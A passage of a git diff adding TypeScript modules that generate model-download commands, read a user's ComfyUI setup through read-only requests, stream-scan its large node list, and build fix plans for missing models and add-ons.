+ if (!url || !plain(lo.file) || /[\\/]/.test(lo.file)) return [comment(shell, `Download ${lo.file} into models/loras${lo.page ? ` from ${lo.page}` : ""}`)];
+ return download(shell, l.modelDir(shell, "loras"), l.modelDir(shell, "loras", lo.file), url, lo.download === "civitai-token" ? "civitai" : lo.download === "hf-gated" ? "hf" : "", false);
+ }
+ default:
+ return [];
+ }
+}
+
+/** The commands for a list of steps, in order, for both shells. */
+export function commandsFor(steps: CommandStep[], ctx: CommandContext): { bash: string; powershell: string; each: { bash: string; powershell: string }[] } {
+ const l = new Layout(ctx.inv);
+ const each = steps.map((s) => ({ bash: stepLines("bash", l, s, ctx).join("\n"), powershell: stepLines("ps", l, s, ctx).join("\n") }));
+ const body = (k: "bash" | "powershell") => each.map((e) => e[k]).filter(Boolean).join("\n");
+ return { bash: l.header("bash") + body("bash"), powershell: l.header("ps") + body("powershell"), each };
+}
diff --git a/src/lib/gpu/fix-codes.ts b/src/lib/gpu/fix-codes.ts
new file mode 100644
index 00000000..fecc9659
--- /dev/null
+++ b/src/lib/gpu/fix-codes.ts
@@ -0,0 +1,41 @@
+import type { GenerationFix } from "@/lib/catalog/types";
+
+/**
+ * What a ComfyUI refusal says was missing (SPEC §13.2): a model file a loader didn't list ("not in list"), or a node
+ * class it doesn't have (missing_node_type), as a code the failed tile turns into "Fix it". Pure.
+ */
+export interface PromptErrorBody {
+ error?: { type?: string; message?: string; extra_info?: { class_type?: string } };
+ node_errors?: unknown;
+}
+
+export function fixFromPromptError(
+ body: PromptErrorBody,
+ workflowId: string,
+ models: { file: string; folder: string }[],
+ packOf: (cls: string) => string | undefined,
+): GenerationFix | null {
+ const items: GenerationFix["items"] = [];
+ const errs = (body.node_errors ?? {}) as Record<string, { errors?: { message?: string; extra_info?: { received_value?: unknown } }[]; class_type?: string }>;
+ for (const ne of Object.values(errs)) {
+ for (const e of ne?.errors ?? []) {
+ const received = e.extra_info?.received_value;
+ if (!e.message?.includes("not in list") || typeof received !== "string") continue;
+ const base = received.split(/[\\/]/).pop() ?? received;
+ const m = models.find((x) => x.file === base);
+ if (m && !items.some((i) => i.file === m.file && i.folder === m.folder)) items.push({ folder: m.folder, file: m.file });
+ }
+ }
+ if (items.length) return { code: "comfy_missing_model", workflowId, items };
+ if (body.error?.type === "missing_node_type") {
+ const cls = body.error.extra_info?.class_type ?? /node (?:type )?'?([^'"]+?)'? (?:not found|does not exist)/i.exec(body.error.message ?? "")?.[1];
+ if (cls) {
+ const pack = packOf(cls);
+ return { code: "comfy_missing_node", workflowId, items: [{ class: cls, ...(pack && { pack }) }] };
+ }
+ }
+ return null;
+}
+
+/** An out-of-memory error in a run's execution_error. */
+export const isOutOfMemory = (text: string | undefined): boolean => !!text && /out of memory|OutOfMemoryError|CUDA error: out of memory|allocation on device/i.test(text);
diff --git a/src/lib/gpu/gather.ts b/src/lib/gpu/gather.ts
new file mode 100644
index 00000000..0d2bc3ac
--- /dev/null
+++ b/src/lib/gpu/gather.ts
@@ -0,0 +1,492 @@
+import { parseArgv } from "./argv";
+import { comboOptions, TopLevelScanner } from "./json-scan";
+import { filePresence, deviceLabel } from "./readiness";
+import { basename, indexClasses, loaderInputs, nameKey, vramGb } from "./requirements";
+import { TransportError, type ComfyTransport, type TransportResponse } from "./transport";
+import type { CheckLine, GpuInventory, GpuProblem, RequirementIndex } from "./types";
+
+/**
+ * The pre-flight probe (SPEC §6): read what a ComfyUI has, using GET requests only, plus the Manager's
+ * read-only import-error lookup (R8). It never posts a prompt or an upload, never reads ComfyUI's log buffer, and
+ * keeps only the facts the index asks about (R9). Each step emits a checklist line as it ends. A step that
+ * fails leaves its part empty and is listed in `errors`: a partial inventory still counts.
+ */
+export interface GatherOptions {
+ /** How the copy names the place: "at your link" (a tunnel) or "on this computer" (browser-direct). */
+ where?: "link" | "computer";
+ /** A targeted re-check: only these classes (per-class reads) and folders. */
+ classes?: string[];
+ folders?: string[];
+ /** LoRA base names to look for in models/loras. */
+ loraNames?: string[];
+ /** The first request's timeout: 8 s from the server, 1.5 s from the browser. */
+ statsTimeoutMs?: number;
+ /** The whole check: 20 s. */
+ budgetMs?: number;
+ /** Requests at once (6). */
+ concurrency?: number;
+ onLine?: (l: CheckLine) => void;
+ now?: () => number;
+}
+
+export const OBJECT_INFO_MAX_BYTES = 64 * 1024 * 1024;
+const OBJECT_INFO_TIMEOUT_MS = 15_000;
+const IMPORT_ERROR_BYTES = 2048;
+
+const PROBLEM_TEXT: Record<GpuProblem, string> = {
+ unreachable: "Your link didn't answer. Is the tunnel running? Quick-tunnel links change when it restarts.",
+ auth: "Your ComfyUI refused the key.",
+ "not-comfy": "That address answers, but not as ComfyUI.",
+ timeout: "Your ComfyUI took too long to answer.",
+ "cors-off": "ComfyUI is running, but it isn't letting this page in yet.",
+ "lna-blocked": "Your browser blocked this page from reaching apps on this device.",
+ redirect: "That address sends Fuobe somewhere else. Use the final https address.",
+};
+
+export const problemText = (p: GpuProblem): string => PROBLEM_TEXT[p];
+
+const clip = (s: unknown, n: number) => String(s ?? "").slice(0, n);
+
+/** A semaphore: at most `n` jobs at once. */
+function limiter(n: number) {
+ let active = 0;
+ const queue: (() => void)[] = [];
+ return async <T,>(job: () => Promise<T>): Promise<T> => {
+ if (active >= n) await new Promise<void>((r) => queue.push(r));
+ active++;
+ try {
+ return await job();
+ } finally {
+ active--;
+ queue.shift()?.();
+ }
+ };
+}
+
+async function sha256Hex(s: string): Promise<string> {
+ const buf = await globalThis.crypto.subtle.digest("SHA-256", new TextEncoder().encode(s));
+ return [...new Uint8Array(buf)].map((b) => b.toString(16).padStart(2, "0")).join("");
+}
+
+/** What an answer to /system_stats says about the address, or null when it looks like ComfyUI's JSON. */
+function answerProblem(res: TransportResponse): { problem: GpuProblem; detail: string } | null {
+ const s = res.status;
+ if (s === 401 || s === 403) return { problem: "auth", detail: `HTTP ${s}` };
+ if (s === 0 || (s >= 300 && s < 400)) {
+ const loc = res.header("location") ?? "";
+ let host = "";
+ try {
+ host = new URL(loc, "https://x.invalid").hostname.toLowerCase();
+ } catch {}
+ // A Cloudflare Access login page: a protected link without the right headers.
+ if (host.endsWith(".cloudflareaccess.com")) return { problem: "auth", detail: "The link is protected by Cloudflare Access. Add its service token." };
+ return { problem: "redirect", detail: loc ? `It redirects to ${clip(loc, 200)}` : `HTTP ${s}` };
+ }
+ if (s === 502 || s === 503 || s === 504 || (s >= 520 && s <= 530)) return { problem: "unreachable", detail: `The tunnel answered HTTP ${s}: ComfyUI behind it isn't answering.` };
+ if (s < 200 || s >= 300) return { problem: "not-comfy", detail: `HTTP ${s}` };
+ if (/text\/html/i.test(res.header("content-type") ?? "")) {
+ const ngrok = !!res.header("ngrok-error-code") || /ngrok/i.test(res.header("server") ?? "");
+ return { problem: "not-comfy", detail: ngrok ? "ngrok showed its warning page instead of ComfyUI." : "It answered with a web page." };
+ }
+ return null;
+}
+
+interface StatsJson {
+ system?: {
+ os?: string;
+ ram_total?: number;
+ ram_free?: number;
+ comfyui_version?: string;
+ python_version?: string;
+ pytorch_version?: string;
+ embedded_python?: boolean;
+ deploy_environment?: string;
+ argv?: unknown;
+ };
+ devices?: { name?: string; type?: string; index?: number; vram_total?: number; vram_free?: number }[];
+}
+
+type Installed = Record<string, { ver?: string; cnr_id?: string; aux_id?: string; enabled?: boolean } | null>;
+
+export function emptyInventory(via: "server" | "browser", at: number): GpuInventory {
+ return {
+ v: 1,
+ via,
+ checkedAt: at,
+ tookMs: 0,
+ reachable: false,
+ devices: [],
+ manager: { api: "unknown" },
+ nodes: { have: [], missing: [], total: 0, readAt: at, how: "per-class" },
+ combos: {},
+ packs: {},
+ models: {},
+ loras: {},
+ fingerprint: "",
+ errors: [],
+ };
+}
+
+export async function gatherInventory(t: ComfyTransport, idx: RequirementIndex, o: GatherOptions = {}): Promise<GpuInventory> {
+ const now = o.now ?? Date.now;
+ const start = now();
+ const deadline = start + (o.budgetMs ?? 20_000);
+ const left = (ms: number) => Math.max(300, Math.min(ms, deadline - now()));
+ const emit = (l: CheckLine) => o.onLine?.(l);
+ const inv = emptyInventory(t.via, start);
+ const where = o.where === "computer" ? "on this computer" : "at your link";
+ const slot = limiter(o.concurrency ?? 6);
+ let prefix = "";
+ const targeted = !!(o.classes || o.folders);
+
+ const fail = (problem: GpuProblem, detail?: string): GpuInventory => {
+ inv.problem = problem;
+ if (detail) inv.problemDetail = clip(detail, 300);
+ inv.tookMs = now() - start;
+ emit({ step: "found", state: "fail", text: PROBLEM_TEXT[problem], ...(detail && { detail: clip(detail, 300) }) });
+ return inv;
+ };
+
+ // 1. System facts.
+ emit({ step: "found", state: "running", text: "Looking for ComfyUI…" });
+ let stats: StatsJson | null = null;
+ try {
+ let res = await t.request("GET", "/system_stats", { timeoutMs: left(o.statsTimeoutMs ?? 8000) });
+ if (res.status === 404) {
+ res.discard();
+ res = await t.request("GET", "/api/system_stats", { timeoutMs: left(o.statsTimeoutMs ?? 8000) });
+ prefix = "/api";
+ }
+ const bad = answerProblem(res);
+ if (bad) {
+ res.discard();
+ return fail(bad.problem, bad.detail);
+ }
+ try {
+ stats = await res.json<StatsJson>();
+ } catch (e) {
+ return fail("not-comfy", (e as Error).message);
+ }
+ } catch (e) {
+ const kind = e instanceof TransportError ? e.kind : "unreachable";
+ return fail(kind === "timeout" ? "timeout" : "unreachable", (e as Error).message);
+ }
+ const sys = stats?.system;
+ if (!sys || typeof sys !== "object") return fail("not-comfy", "No system facts in the answer");
+
+ inv.reachable = true;
+ const flags = parseArgv(sys.argv);
+ inv.comfy = {
+ version: clip(sys.comfyui_version, 40),
+ os: clip(sys.os, 20),
+ ...(sys.python_version && { python: clip(String(sys.python_version).split(" ")[0], 20) }),
+ ...(sys.pytorch_version && { torch: clip(sys.pytorch_version, 40) }),
+ embeddedPython: !!sys.embedded_python,
+ deployEnv: clip(sys.deploy_environment ?? "local-git", 40),
+ flags,
+ apiPrefix: prefix as "" | "/api",
+ };
+ inv.devices = (Array.isArray(stats!.devices) ? stats!.devices : []).slice(0, 8).map((d, i) => ({
+ name: clip(d?.name, 120),
+ type: clip(d?.type, 20),
+ index: Number.isFinite(Number(d?.index)) ? Number(d?.index) : i,
+ vramTotal: Number(d?.vram_total) || 0,
+ vramFree: Number(d?.vram_free) || 0,
+ }));
+ if (typeof sys.ram_total === "number") inv.ram = { total: sys.ram_total, free: Number(sys.ram_free) || 0 };
+ emit({
+ step: "found",
+ state: "done",
+ text: `Found ComfyUI ${inv.comfy.version || ""} ${where}`.replace(/\s+/g, " ").trim(),
+ detail: [inv.comfy.python && `Python ${inv.comfy.python}`, inv.comfy.torch && `PyTorch ${inv.comfy.torch}`].filter(Boolean).join(" · ") || undefined,
+ });
+ const dev = inv.devices[0];
+ if (dev && (dev.type === "cuda" || dev.type === "mps" || dev.type === "xpu") && !flags.cpuOnly) {
+ const gb = vramGb(dev.vramTotal);
+ emit({ step: "gpu", state: "done", text: `Graphics card: ${deviceLabel(dev.name)}${gb ? `, ${gb} GB` : ""}`, detail: inv.ram ? `RAM ${vramGb(inv.ram.total)} GB` : undefined });
+ } else {
+ emit({ step: "gpu", state: "warn", text: "We didn't find an NVIDIA card. Tools marked “Runs on any computer” still work.", detail: dev ? `Device type: ${dev.type || "unknown"}` : undefined });
+ }
+
+ const os = inv.comfy.os;
+ const key = nameKey(os);
+ const p = (path: string) => `${prefix}${path}`;
+ /** GET a JSON answer inside a request slot; null on 404, throws on other failures. */
+ const getJson = <T,>(path: string, timeoutMs: number, maxBytes?: number): Promise<{ status: number; body: T | null }> =>
+ slot(async () => {
+ const res = await t.request("GET", p(path), { timeoutMs: left(timeoutMs), maxBytes });
+ if (res.status === 404) {
+ res.discard();
+ return { status: 404, body: null };
+ }
+ if (res.status < 200 || res.status >= 300) {
+ res.discard();
+ throw new TransportError("refused", `${path} answered HTTP ${res.status}`);
+ }
+ return { status: res.status, body: await res.json<T>() };
+ });
+ const note = (step: string, e: unknown) => inv.errors.push({ step, message: clip((e as Error)?.message ?? e, 200) });
+
+ // 2a. Add-ons (node classes) and the loaders' combo lists.
+ const all = indexClasses(idx);
+ const loaders = loaderInputs(idx);
+ const loaderClasses = new Set([...loaders.keys()].map((k) => k.slice(0, k.lastIndexOf("."))));
+ const captured: Record<string, unknown> = {};
+ const addons = async () => {
+ emit({ step: "addons", state: "running", text: "Checking add-ons…" });
+ let keys: string[] | null = null;
+ if (!targeted) {
+ try {
+ await slot(async () => {
+ const res = await t.request("GET", p("/object_info"), { timeoutMs: left(OBJECT_INFO_TIMEOUT_MS), maxBytes: OBJECT_INFO_MAX_BYTES });
+ if (res.status !== 200) {
+ res.discard();
+ throw new TransportError("refused", `/object_info answered HTTP ${res.status}`);
+ }
+ const scan = new TopLevelScanner(loaderClasses);
+ for await (const c of res.chunks()) scan.push(c);
+ if (!scan.done()) throw new TransportError("encoding", "/object_info isn't a JSON object");
+ keys = scan.keys;
+ Object.assign(captured, scan.captured);
+ });
+ } catch (e) {
+ note("object_info", e);
+ }
+ }
+ if (keys) {
+ const have = new Set<string>(keys);
+ inv.nodes = { have: [...all].filter((c) => have.has(c)).sort(), missing: [...all].filter((c) => !have.has(c)).sort(), total: (keys as string[]).length, readAt: now(), how: "object_info" };
+ } else {
+ // Too big, too slow or refused: one class at a time, for the classes in question (or the sentinels).
+ const asked = new Set([...(o.classes ?? idx.sentinels), ...[...loaderClasses].filter((c) => !o.classes || o.classes.includes(c))]);
+ const have: string[] = [];
+ const missing: string[] = [];
+ await Promise.all(
+ [...asked].map(async (cls) => {
+ try {
+ const r = await getJson<Record<string, unknown>>(`/object_info/${encodeURIComponent(cls)}`, 8000);
+ const body = r.body;
+ if (body && typeof body === "object" && body[cls]) {
+ have.push(cls);
+ if (loaderClasses.has(cls)) captured[cls] = body[cls];
+ } else if (r.status === 404 || (body && typeof body === "object" && Object.keys(body).length === 0)) missing.push(cls);
+ } catch (e) {
+ note(`object_info/${cls}`, e);
+ }
+ }),
+ );
+ inv.nodes = { have: have.filter((c) => all.has(c)).sort(), missing: missing.filter((c) => all.has(c)).sort(), total: have.length, readAt: now(), how: "per-class" };
+ }
+ for (const [k, names] of loaders) {
+ const cls = k.slice(0, k.lastIndexOf("."));
+ const input = k.slice(k.lastIndexOf(".") + 1);
+ if (!(cls in captured)) continue;
+ const opts = comboOptions(captured[cls], input);
+ if (opts === null) continue;
+ const listed = new Set(opts.map(key));
+ inv.combos[k] = [...names].filter((n) => listed.has(key(n))).sort();
+ }
+ };
+
+ // 2b. Model folders (names and sizes), LoRAs and the model roots.
+ const folders = o.folders ?? idx.folders;
+ const indexNames = new Map<string, Map<string, string>>();
+ for (const f of Object.values(idx.files)) {
+ if (!indexNames.has(f.folder)) indexNames.set(f.folder, new Map());
+ indexNames.get(f.folder)!.set(key(f.file), f.file);
+ }
+ const loraWanted = new Map((o.loraNames ?? []).map((n) => [key(n), basename(n)]));
+ const listFolders = [...new Set([...folders, ...(loraWanted.size ? ["loras"] : [])])];
+ const models = async () => {
+ emit({ step: "models", state: "running", text: "Looking through your models…" });
+ let present: Set<string>;
+ try {
+ const r = await getJson<unknown>("/models", 15_000);
+ present = new Set(Array.isArray(r.body) ? r.body.filter((x): x is string => typeof x === "string") : []);
+ } catch (e) {
+ note("models", e);
+ return;
+ }
+ await Promise.all(
+ listFolders.map(async (folder) => {
+ if (!present.has(folder)) {
+ inv.models[folder] = { have: {}, total: 0, folderMissing: true };
+ return;
+ }
+ try {
+ let items: { name: string; size: number | null }[];
+ const r = await getJson<unknown>(`/experiment/models/${encodeURIComponent(folder)}`, 15_000, 8 * 1024 * 1024);
+ if (r.status === 404) {
+ const plain = await getJson<unknown>(`/models/${encodeURIComponent(folder)}`, 15_000, 8 * 1024 * 1024);
+ items = (Array.isArray(plain.body) ? plain.body : []).filter((x): x is string => typeof x === "string").map((name) => ({ name, size: null }));
+ } else {
+ items = (Array.isArray(r.body) ? r.body : []).flatMap((x: { name?: unknown; size?: unknown }) =>
+ typeof x?.name === "string" ? [{ name: x.name, size: typeof x.size === "number" ? x.size : null }] : [],
+ );
+ }
+ const want = indexNames.get(folder) ?? new Map<string, string>();
+ const have: Record<string, number | null> = {};
+ for (const it of items) {
+ const k = key(it.name);
+ const name = want.get(k);
+ if (name !== undefined && (have[name] === undefined || (it.size ?? 0) > (have[name] ?? 0))) have[name] = it.size;
+ if (folder === "loras") {
+ const l = loraWanted.get(k);
+ if (l !== undefined) inv.loras[l] = it.size;
+ }
+ }
+ inv.models[folder] = { have, total: items.length };
+ } catch (e) {
+ note(`models/${folder}`, e);
+ }
+ }),
+ );
+ if (!targeted) {
+ try {
+ const r = await getJson<unknown>("/experiment/models", 8000);
+ const roots: Record<string, string[]> = {};
+ for (const x of Array.isArray(r.body) ? r.body : []) {
+ const name = (x as { name?: unknown })?.name;
+ const dirs = (x as { folders?: unknown })?.folders;
+ if (typeof name === "string" && idx.folders.includes(name) && Array.isArray(dirs)) roots[name] = dirs.filter((d): d is string => typeof d === "string").slice(0, 4).map((d) => clip(d, 400));
+ }
+ if (Object.keys(roots).length) inv.comfy!.modelRoots = roots;
+ } catch (e) {
+ note("experiment/models", e);
+ }
+ }
+ };
+
+ // 2c. ComfyUI-Manager: which API, busy or not, and the packs it lists.
+ const manager = async () => {
+ if (targeted) return;
+ const v4First = flags.enableManager || flags.managerLegacyUi;
+ const version = async (path: string) =>
+ slot(async () => {
+ const res = await t.request("GET", p(path), { timeoutMs: left(5000), maxBytes: 4096 });
+ if (res.status !== 200) {
+ res.discard();
+ return null;
+ }
+ return clip((await res.text()).replace(/^"|"$/g, "").trim(), 40);
+ }).catch(() => null);
+ let api: "v4" | "v3" | "none" = "none";
+ let ver = await version(v4First ? "/v2/manager/version" : "/manager/version");
+ if (ver !== null) api = v4First ? "v4" : "v3";
+ else {
+ ver = await version(v4First ? "/manager/version" : "/v2/manager/version");
+ if (ver !== null) api = v4First ? "v3" : "v4";
+ }
+ inv.manager = { api, ...(ver && { version: ver }), ...(api === "v4" && { legacyUi: flags.managerLegacyUi }) };
+ if (api === "none") {
+ emit({ step: "manager", state: "warn", text: "ComfyUI-Manager isn't on. Fuobe shows the commands to run instead." });
+ return;
+ }
+ const pre = api === "v4" ? "/v2" : "";
+ await Promise.all([
+ getJson<{ is_processing?: boolean }>(`${pre}/manager/queue/status`, 4000)
+ .then((r) => (inv.manager.busy = !!r.body?.is_processing))
+ .catch((e) => note("manager/queue/status", e)),
+ getJson<Installed>(`${pre}/customnode/installed`, 15_000, 4 * 1024 * 1024)
+ .then((r) => matchPacks(r.body ?? {}))
+ .catch((e) => note("customnode/installed", e)),
+ api === "v4"
+ ? getJson<{ extension?: { manager?: { supports_csrf_post?: boolean } } }>("/features", 4000)
+ .then((r) => (inv.manager.csrfPost = !!r.body?.extension?.manager?.supports_csrf_post))
+ .catch((e) => note("features", e))
+ : Promise.resolve(),
+ ]);
+ emit({ step: "manager", state: "done", text: `ComfyUI-Manager ${inv.manager.version ?? ""}`.trim() });
+ };
+ const matchPacks = (installed: Installed) => {
+ const lc = (s: string) => s.toLowerCase();
+ for (const [dirRaw, info] of Object.entries(installed ?? {})) {
+ if (!info || typeof info !== "object") continue;
+ const dir = dirRaw.replace(/@.*$/, "");
+ for (const [name, pack] of Object.entries(idx.packs)) {
+ const repoTail = pack.repo.split("/").slice(3, 5).join("/");
+ const repoName = pack.repo.split("/")[4] ?? "";
+ const hit =
+ lc(dir) === lc(name) ||
+ lc(dir) === lc(repoName) ||
+ (!!info.cnr_id && !!pack.registry?.id && lc(String(info.cnr_id)) === lc(pack.registry.id)) ||
+ (!!info.aux_id && lc(String(info.aux_id)) === lc(repoTail));
+ if (hit) inv.packs[name] = { dir: clip(dir, 100), ...(info.ver && { version: clip(info.ver, 40) }), enabled: info.enabled !== false };
+ }
+ }
+ };
+
+ // The small reads go first: a busy ComfyUI answers in order, and /object_info can hold it for seconds.
+ await Promise.all([manager(), models(), addons()]);
+
+ // 3. Import errors: a pack Manager lists whose classes didn't load.
+ const missing = new Set(inv.nodes.missing);
+ const broken = Object.entries(inv.packs).filter(([name, info]) => info.enabled && (idx.packs[name]?.classes.length ?? 0) > 0 && idx.packs[name].classes.every((c) => missing.has(c)));
+ if (broken.length && (inv.manager.api === "v4" || inv.manager.api === "v3")) {
+ const trace = (x: unknown) => {
+ const r = x as { traceback?: unknown; error?: unknown; msg?: unknown } | null;
+ const s = r ? String(r.traceback || r.error || r.msg || "") : "";
+ return s ? s.slice(0, IMPORT_ERROR_BYTES) : undefined;
+ };
+ try {
+ if (inv.manager.api === "v4") {
+ const cnr = broken.flatMap(([n]) => (idx.packs[n].registry?.id ? [idx.packs[n].registry!.id] : []));
+ const urls = broken.filter(([n]) => !idx.packs[n].registry?.id).map(([n]) => idx.packs[n].repo);
+ const body = await slot(async () => {
+ const res = await t.request("POST", p("/v2/customnode/import_fail_info_bulk"), { json: { cnr_ids: cnr, urls }, timeoutMs: left(6000), maxBytes: 512 * 1024 });
+ if (res.status !== 200) {
+ res.discard();
+ return null;
+ }
+ return res.json<Record<string, unknown>>();
+ });
+ for (const [n] of broken) {
+ const k = idx.packs[n].registry?.id ?? idx.packs[n].repo;
+ const err = trace(body?.[k]);
+ if (err) inv.packs[n].importError = err;
+ }
+ } else {
+ await Promise.all(
+ broken.map(([n]) =>
+ slot(async () => {
+ const id = idx.packs[n].registry?.id;
+ const res = await t.request("POST", p("/customnode/import_fail_info"), { json: id ? { cnr_id: id } : { url: idx.packs[n].repo }, timeoutMs: left(6000), maxBytes: 512 * 1024 });
+ if (res.status !== 200) return res.discard();
+ const err = trace(await res.json<unknown>());
+ if (err) inv.packs[n].importError = err;
+ }),
+ ),
+ );
+ }
+ } catch (e) {
+ note("import_fail_info", e);
+ }
+ }
+
+ // Lines for the steps that read files and add-ons.
+ const packsLoaded = Object.values(idx.packs).filter((pk) => pk.classes.length && pk.classes.every((c) => !missing.has(c) && (inv.nodes.how === "per-class" || inv.nodes.have.includes(c)))).length;
+ if (inv.errors.some((e) => e.step === "object_info") && inv.nodes.how === "per-class" && !inv.nodes.have.length && !inv.nodes.missing.length) {
+ emit({ step: "addons", state: "warn", text: "We couldn't read your add-ons this time." });
+ } else {
+ emit({ step: "addons", state: "done", text: `${packsLoaded} of ${Object.keys(idx.packs).length} add-ons Fuobe uses are loaded` });
+ }
+ if (!Object.keys(inv.models).length) {
+ emit({ step: "models", state: "warn", text: "We couldn't read your model folders this time." });
+ } else {
+ const files = Object.values(idx.files);
+ const have = files.filter((f) => filePresence(f, inv) === "present").length;
+ emit({ step: "models", state: "done", text: `Found ${have} of ${files.length} model files Fuobe uses` });
+ }
+
+ // 4. The fingerprint: what makes this machine this machine (a heuristic for "the studio's own GPU").
+ inv.fingerprint = await sha256Hex(
+ JSON.stringify([
+ Array.isArray(sys.argv) ? sys.argv : [],
+ inv.devices.map((d) => [d.name, d.vramTotal]),
+ inv.ram?.total ?? 0,
+ inv.comfy.modelRoots ?? {},
+ ]),
+ );
+ inv.tookMs = now() - start;
+ return inv;
+}
diff --git a/src/lib/gpu/json-scan.ts b/src/lib/gpu/json-scan.ts
new file mode 100644
index 00000000..8d9eebf0
--- /dev/null
+++ b/src/lib/gpu/json-scan.ts
@@ -0,0 +1,142 @@
+/**
+ * Read a big JSON object (GET /object_info: every node class, tens of MB with many packs) chunk by chunk
+ * without parsing all of it: the top-level keys, plus the values of the few keys asked for (the loader
+ * classes whose combo lists say which model files that ComfyUI can load). Memory stays at about the size
+ * of the captured values, never the whole body.
+ */
+export class TopLevelScanner {
+ private decoder = new TextDecoder();
+ private depth = 0;
+ private inString = false;
+ private escape = false;
+ /** The string being read, when it may be a top-level key. */
+ private keyBuf: string[] | null = null;
+ private lastKey: string | null = null;
+ /** After a top-level key and its colon: the value starts at the next non-space character. */
+ private awaitingValue = false;
+ private capturing: { key: string; parts: string[] } | null = null;
+ private started = false;
+ readonly keys: string[] = [];
+ readonly captured: Record<string, unknown> = {};
+ /** False once the text stops looking like one JSON object. */
+ ok = true;
+
+ constructor(private readonly wanted: Set<string>) {}
+
+ push(chunk: Uint8Array | string): void {
+ const text = typeof chunk === "string" ? chunk : this.decoder.decode(chunk, { stream: true });
+ if (!this.ok) return;
+ let captureFrom = this.capturing ? 0 : -1;
+ for (let i = 0; i < text.length; i++) {
+ const ch = text[i];
+ if (this.inString) {
+ if (this.keyBuf) this.keyBuf.push(ch);
+ if (this.escape) this.escape = false;
+ else if (ch === "\\") this.escape = true;
+ else if (ch === '"') {
+ this.inString = false;
+ if (this.keyBuf) {
+ this.keyBuf.pop(); // the closing quote
+ try {
+ this.lastKey = JSON.parse(`"${this.keyBuf.join("")}"`) as string;
+ } catch {
+ this.lastKey = this.keyBuf.join("");
+ }
+ this.keyBuf = null;
+ }
+ }
+ continue;
+ }
+ if (this.awaitingValue && !/\s/.test(ch)) {
+ this.awaitingValue = false;
+ if (this.lastKey !== null && this.wanted.has(this.lastKey)) {
+ this.capturing = { key: this.lastKey, parts: [] };
+ captureFrom = i;
+ }
+ }
+ switch (ch) {
+ case '"':
+ this.inString = true;
+ // A string at depth 1 that isn't a value is a key.
+ this.keyBuf = this.depth === 1 && !this.capturing && this.expectKey ? [] : null;
+ break;
+ case "{":
+ case "[":
+ if (!this.started) {
+ if (ch !== "{") this.ok = false;
+ this.started = true;
+ this.expectKey = true;
+ }
+ this.depth++;
+ break;
+ case "}":
+ case "]":
+ this.depth--;
+ if (this.depth === 1 && this.capturing) {
+ this.finishCapture(text, captureFrom, i + 1);
+ captureFrom = -1;
+ } else if (this.depth === 0 && this.capturing) {
+ // A plain value (a number, a string) was the last one.
+ this.finishCapture(text, captureFrom, i);
+ captureFrom = -1;
+ }
+ if (this.depth < 0) this.ok = false;
+ break;
+ case ":":
+ if (this.depth === 1 && this.lastKey !== null && this.expectKey) {
+ this.keys.push(this.lastKey);
+ this.expectKey = false;
+ this.awaitingValue = true;
+ }
+ break;
+ case ",":
+ if (this.depth === 1) {
+ if (this.capturing) {
+ this.finishCapture(text, captureFrom, i);
+ captureFrom = -1;
+ }
+ this.expectKey = true;
+ this.lastKey = null;
+ }
+ break;
+ default:
+ if (!this.started && !/\s/.test(ch)) this.ok = false;
+ }
+ if (!this.ok) return;
+ }
+ if (this.capturing && captureFrom >= 0) this.capturing.parts.push(text.slice(captureFrom));
+ }
+
+ private expectKey = false;
+
+ private finishCapture(text: string, from: number, to: number): void {
+ const c = this.capturing!;
+ if (from >= 0) c.parts.push(text.slice(from, to));
+ this.capturing = null;
+ try {
+ this.captured[c.key] = JSON.parse(c.parts.join("").trim());
+ } catch {
+ // A value we can't read counts as not captured.
+ }
+ }
+
+ /** The object ended: true when it was a whole JSON object. */
+ done(): boolean {
+ return this.ok && this.started && this.depth === 0 && !this.inString;
+ }
+}
+
+/** The options of a combo input in an /object_info entry: legacy `[[...], {...}]` or `["COMBO", {options: [...]}]`. */
+export function comboOptions(info: unknown, input: string): string[] | null {
+ const i = (info as { input?: { required?: Record<string, unknown>; optional?: Record<string, unknown> } } | null)?.input;
+ const spec = i?.required?.[input] ?? i?.optional?.[input];
+ if (!Array.isArray(spec)) return null;
+ if (Array.isArray(spec[0])) return spec[0].filter((x): x is string => typeof x === "string");
+ if (spec[0] === "COMBO") {
+ // A combo the frontend fills from another route (`remote`) says nothing here.
+ if ((spec[1] as { remote?: unknown } | undefined)?.remote) return null;
+ const opts = (spec[1] as { options?: unknown } | undefined)?.options;
+ return Array.isArray(opts) ? opts.filter((x): x is string => typeof x === "string") : [];
+ }
+ return null;
+}
diff --git a/src/lib/gpu/plan.ts b/src/lib/gpu/plan.ts
new file mode 100644
index 00000000..9b8b6df2
--- /dev/null
+++ b/src/lib/gpu/plan.ts
@@ -0,0 +1,139 @@
+import { commandsFor, type CommandStep } from "./commands";
+import type { LoraNeed } from "./readiness";
+import type { FixPlan, FixStep, GpuInventory, Need, Readiness, RequirementIndex, StepKind, ToolReadiness, ToolRef, WhyCode } from "./types";
+
+/**
+ * A tool's fix plan (SPEC §8): its steps in run order, each with why it can't be one click and the commands
+ * that do it by hand. P1 never installs anything: every step is manual, and `why` says what the one-click
+ * path (P2, through ComfyUI-Manager) would hit. Only the server builds plans, from the index (R2).
+ */
+
+const ORDER: Record<StepKind, number> = {
+ "manager-enable": 0,
+ "manager-config": 1,
+ "comfy-update": 2,
+ "core-missing": 2,
+ "pack-install": 3,
+ "pack-update": 3,
+ "pack-repair": 3,
+ restart: 4,
+ "hf-licence": 5,
+ "civitai-key": 5,
+ model: 6,
+ "model-replace": 6,
+ lora: 6,
+ "isolated-worker": 7,
+};
+
+/** Minutes for `bytes` at 100 MB/s and at 25 MB/s, rounded up. */
+export function etaRange(bytes: number): [number, number] {
+ if (!bytes) return [0, 0];
+ return [Math.max(1, Math.ceil(bytes / 100e6 / 60)), Math.max(1, Math.ceil(bytes / 25e6 / 60))];
+}
+
+/** What would stop this step being one click (SPEC §8.2); P1 does every step by hand. */
+export function whyOf(n: Need, inv: GpuInventory | null, idx: RequirementIndex, lora?: LoraNeed): WhyCode {
+ const api = inv?.manager.api ?? "unknown";
+ const noManager = api === "none";
+ switch (n.kind) {
+ case "comfy-update":
+ return "core-update";
+ case "core-missing":
+ return "core-missing";
+ case "isolated-worker":
+ return "isolated";
+ case "hf-licence":
+ return "gated";
+ case "civitai-key":
+ return "civitai-key";
+ case "pack-install": {
+ const p = n.pack ? idx.packs[n.pack] : undefined;
+ if (noManager) return "no-manager";
+ if (p?.subdir) return "subfolder-pack";
+ if (!p?.registry?.version) return "no-validated-version";
+ return "manual-only";
+ }
+ case "model-replace":
+ return "no-delete-api";
+ case "model":
+ case "lora": {
